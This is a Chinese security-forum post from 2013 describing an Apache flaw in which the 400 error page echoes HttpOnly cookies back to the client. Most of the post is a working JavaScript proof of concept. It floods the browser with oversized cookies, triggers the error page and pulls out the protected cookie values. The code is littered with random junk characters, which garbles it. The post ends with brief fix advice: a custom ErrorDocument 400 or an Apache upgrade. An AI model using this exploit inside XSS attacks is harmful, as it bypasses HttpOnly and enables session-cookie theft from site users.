找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2596|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。8 K  f8 O2 i# k, u, Z! S" s6 r" A
8 H0 C& s$ l' }" J. |9 v" O- Y
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
9 M/ {& A* I4 y: D
0 Y4 j. f: S# K5 c, T" m0 A* A  X- D( g! W
// http://www.exploit-db.com/exploits/18442/
  h" a& H) Z) k4 Ffunction setCookies (good) {
7 u, M# r+ I# Z1 M; ?& H// Construct string for cookie value
% _( S3 F, s7 x2 }var str = "";! k2 l1 {  c2 v/ ?
for (var i=0; i< 819; i++) {
- W- a0 n" O  j8 ^' |% k, G7 wstr += "x";# c/ R& V  p+ i9 T" q+ m& R3 r/ c
}4 L  V; ~! D( ?8 _0 V2 J
// Set cookies  X/ F0 p5 v! s+ B# U2 f5 \+ u
for (i = 0; i < 10; i++) {6 `7 l" Y, m& l0 n. j
// Expire evil cookie: z) K1 @1 W' f/ h5 O' w( A
if (good) {
- s# B8 f. T3 N- S1 {var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";* P% |+ q+ l" k; B
}
6 q+ E. U( k; U1 D. _// Set evil cookie
, N! R( D; u0 Q" X7 _4 Zelse {
1 e0 x' K3 Q: Lvar cookie = "xss"+i+"="+str+";path=/";7 G5 {  ~! ~$ a9 g
}
6 I$ n7 u7 j8 m4 @% ddocument.cookie = cookie;. H4 A0 N# A" ?
}2 T- |; ^1 |& f3 S; X5 [
}' d: |& ~8 r( p6 {$ _  O
function makeRequest() {
4 ?6 B: D9 n9 N. B9 q+ l  _setCookies();7 u, @' \2 o2 o4 r' l" M; u2 Z
function parseCookies () {
5 _" {( v4 G  X* c9 m4 q/ Xvar cookie_dict = {};$ `9 S4 I7 [+ u' i! y$ F
// Only react on 400 status$ A  H7 C5 n% l% }8 _5 b4 x
if (xhr.readyState === 4 && xhr.status === 400) {
7 `$ b# I% N- D// Replace newlines and match <pre> content
% q% P! E( P$ w- s$ \+ R4 C5 Vvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);5 p7 {: S) P9 L0 A. L3 A
if (content.length) {! `: T# e! R2 S7 V  |, }
// Remove Cookie: prefix& ^) A2 v$ v" z7 q3 e0 u; O; n, p
content = content[1].replace("Cookie: ", "");
& R* l1 W& K5 c7 Y# r  L+ Ovar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);# J+ W( S2 V6 ?  r5 u6 @
// Add cookies to object
3 \# Z2 ?7 H8 R- D7 Rfor (var i=0; i<cookies.length; i++) {
8 Y3 s3 O% P+ f6 X+ V( O! }var s_c = cookies.split('=',2);" A- Q4 C3 i2 @) m( Y: P
cookie_dict[s_c[0]] = s_c[1];# ]6 N/ o: B* B
}
, c+ p, ~4 ~9 L6 Z7 A( x, A: b}  O$ Y# o; E' W9 m. X
// Unset malicious cookies
1 u; @8 o" B; S; G+ _# R" GsetCookies(true);+ q: a- H2 v' c" B
alert(JSON.stringify(cookie_dict));
- D1 u# q; F0 b+ l) J}& q- I+ o- o7 r4 J
}+ W! T) r6 {2 U0 e4 N. `
// Make XHR request
% A$ I3 q1 J4 f' B' Evar xhr = new XMLHttpRequest();$ F7 f0 q/ p: R- f+ S: b) |% j+ A# f
xhr.onreadystatechange = parseCookies;6 r- V% x! ?) \
xhr.open("GET", "/", true);
; o/ W, b2 a: Jxhr.send(null);' G- P  ]- H! m" K. b9 M4 t
}
. J" \2 D7 ?3 _' h8 W; J7 s1 LmakeRequest();" l" |; m7 }5 b% w% V- c( ?
8 {2 u; f: Z; |  _/ B# X
你就能看见华丽丽的400错误包含着cookie信息。
, K3 O- r$ X9 k. P5 l+ J# j$ L; f0 x& Z# q+ F# B5 k& Q  c
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
4 `- c, k+ u$ S9 \$ l6 F- Q6 _
. s, [6 M8 N) k: X% t1 _+ ~$ H2 a修复方案:& ^: T; u+ X. l6 s% o  @- k
( Q" L/ M- E) E) s
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下3 x" I& ?4 @$ B

* Z+ z6 u" }. AIn the event of a problem or error, Apachecan be configured to do one of four things,
# v9 l; o0 V7 [0 y. s# u8 f( B
. D: A2 f8 \' F% O1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
# c$ d# D: x$ x# {3 w6 K& g$ k2. output acustomized message输出一段信息# h2 K. C$ |8 w1 H# d/ D0 J2 }
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
' {6 v4 v5 K. z! q4. redirect to an external URL to handle theproblem/error转向一个外部URL2 L2 W) b3 W. m7 W" ~
1 h/ k6 `  O1 Z# q: d( x
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
5 A: w$ ~, o9 E3 F1 Y% m$ ~* q
* P4 u/ k8 L4 k" H9 ~9 @Apache配置:7 T8 \/ z  E2 e; Q+ V

! W- ~* f* N6 d$ ]1 @" mErrorDocument400 " security test"2 s, M9 r& S# _& v' p

/ W% Q9 R8 u( ^6 N4 \当然,升级apache到最新也可:)。
2 ~; m4 L* o# ]3 r7 z6 a% e. k2 {( V/ w0 I
参考:http://httpd.apache.org/security/vulnerabilities_22.html
9 J$ s/ a7 Y1 R1 |% J3 W: {
9 M, J. P2 f+ d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表